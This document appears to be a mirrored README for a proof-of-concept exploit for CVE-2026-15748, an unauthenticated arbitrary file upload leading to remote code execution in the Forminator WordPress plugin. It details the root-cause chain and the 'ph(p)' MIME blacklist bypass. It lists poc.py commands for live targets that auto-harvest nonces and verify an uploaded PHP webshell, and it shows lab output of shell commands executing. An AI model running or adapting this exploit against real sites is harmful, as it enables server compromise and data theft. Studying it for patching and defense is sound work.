## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-UBAYDEV-CVE-2026-15748
# CVE-2026-15748 — Forminator Forms 未认证任意文件上传 → RCE
**CVSS 9.8(严重)** · 受影响:Forminator `<= 1.56.1` · 已修复:`1.56.2` 研究人员:daroo(Wordfence 漏洞赏金计划,$2,048)· 约 60 万活跃安装 分析文章:wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/
## 根因链条
通过伪造的 Select 字段值串联起三个弱点:
1. **嵌套字段数组无清理处理** — `Forminator_CForm_Front_Action::set_field_data()` `prepare_fields_info()` 会遍历每个已存储字段。对于已存储的 Select 字段 `select-1`, `$field_data = prepared_data['select-1']`(攻击者可控的嵌套数组)。当其携带 `return` 时,该数组会整体追加到 `field_data_array`(front-action.php 约第 1088 行), 发生在任何逐字段清理/校验之前。`maybe_handle_custom_option()` 不会剥离这些内容。
2. **不可信的字段配置在上传时被信任** — `Forminator_CForm_Front_Action::process_uploads()` 遍历 `field_data_array`,信任伪造的 `field_type == 'upload'`,使用伪造的 `name` 选择 `$_FILES` 输入,并将伪造的 `field_array` 作为受信任配置传入 `Forminator_Upload::handle_file_upload()`。
3. **黑名单精确键绕过** — `forminator_allowed_mime_types()` 会剥离字面键 `php`,但 `wp_check_filetype()` 将键视为**正则表达式** 。键 `ph(p)` 绕过了黑名单却仍能匹配 `.php` 后缀。`additional-type = ph(p)|text/x-php` 使 `.php` 文件通过校验。
## 可利用条件
已发布的表单必须**同时** 包含文件上传字段和 Select 字段。Select 仅作为载体。
## 执行注意事项(实验室已验证)
* 任意 `.php` 文件上传到磁盘**默认即可成功** (写入无需特殊配置)。
* **RCE 要求上传根目录不存在 Apache`.htaccess`。** Forminator 默认根目录和自定义 根目录都会生成一个阻止 PHP 的 `.htaccess`(`SetHandler none` / `RemoveHandler`)。仅当该 `.htaccess` 不存在时 RCE 才会触发——即分析文章中描述的“自定义存储根目录在前端请求期间创建, 而 `insert_with_markers()` 未被加载”的场景。
* 在实验室中,我们通过使用自定义存储根目录并模拟无 `.htaccess` 状态实现了 RCE。
## 上传路径与哈希(对实际测试很重要)
* **默认根目录:** `wp-content/uploads/forminator/` → 文件位于 `wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>`。
* **自定义根目录:** 如果管理员设置了 `forminator_custom_upload_root`(例如 `cveuploads`),文件将存放于 `wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>`。
* `hash` 即 `wp_hash($form_id)` — 由站点的 AUTH 盐派生,因此**无法从外部预测** 。 `poc.py` 会打印路径模式;要补全它,您必须通过 `--form-hash` 恢复哈希(例如目录列表、 已有上传文件的 URL/日志、管理后台条目等)。
* 上传文件名 = `wp_generate_password(12,false,false) . '-' . <original>` → 例如 `cX3fRjMDDu03-shell.php`(12 位随机字母数字字符 + `-` \+ 原始名称)。
## 用法 — `poc.py`
设计上以实际目标优先;本地实验室辅助功能(文件系统扫描、`.htaccess` 移除)仅限 `http://wordpresslab.test` / `http://localhost` 使用。
root@kitploit:~
# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/ # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42 # append ?page_id=42
# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303
# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
--verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"
# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell
### 参数
### `--auto` 值映射(从表单 HTML 采集)
跳过的字段:内部字段(`action`/`form_id`/nonce/...)、`type="file"`(`upload-*`)、`select-*` (漏洞载体)、`calculation-*`(计算字段)以及外部插件字段(`wpforms[...]`)。
## 实验室复现(wordpresslab.test,WP 6.9.4 + Forminator 1.56.1)
环境搭建:
* 包含真实上传字段 + Select 字段的表单(通过 `build_form.php` 和 `Forminator_Form_Model` API 构建)。
* 启用自定义上传存储根目录(`forminator_custom_upload`=1,`forminator_custom_upload_root`=cveuploads) 以便演示 RCE。`cveuploads/` 是**实验室产物** ,并非 Forminator 默认配置。
* **设计说明:** 为了获得干净的 `success=True`,伪造的 `name` 应与真实上传字段的 `element_id` 不同。碰撞名称仍会上传文件,但真实字段还会运行自身的默认 MIME 检查 → 响应会报告错误,而 shell 此时已经落盘。
原始证据(实验室运行):
root@kitploit:~
# default path pattern (hash is site-secret):
wp-content/uploads/forminator/<form_id>_<hash>/uploads/<12char>-shell.php
[+] shell at: http://wordpresslab.test/wp-content/uploads/cveuploads/31_8e64.../uploads/cX3fRjMDDu03-shell.php
?c=id -> CVE-2026-15748-RCE uid=33(www-data) gid=33(www-data) groups=33(www-data)
?c=whoami -> CVE-2026-15748-RCE www-data
# .htaccess present (protected): request returns raw PHP source (not executed)
## 文件
* `poc.py` — 面向实际目标的 PoC(自动发现、自动填写、verify-url、本地 RCE 辅助)
* `build_form.php` — 通过模型 API 以编程方式构建实验室表单(上传 + select)
* `README.md` — 本文档
## 缓解措施
* 升级到 Forminator >= 1.56.2(阻止 MIME 黑名单绕过 + 受信任字段配置路径)。
* 确保任何自定义上传存储根目录都受到 Forminator `.htaccess`/index 保护机制的覆盖。
* 仅对您已获授权测试的目标运行 PoC。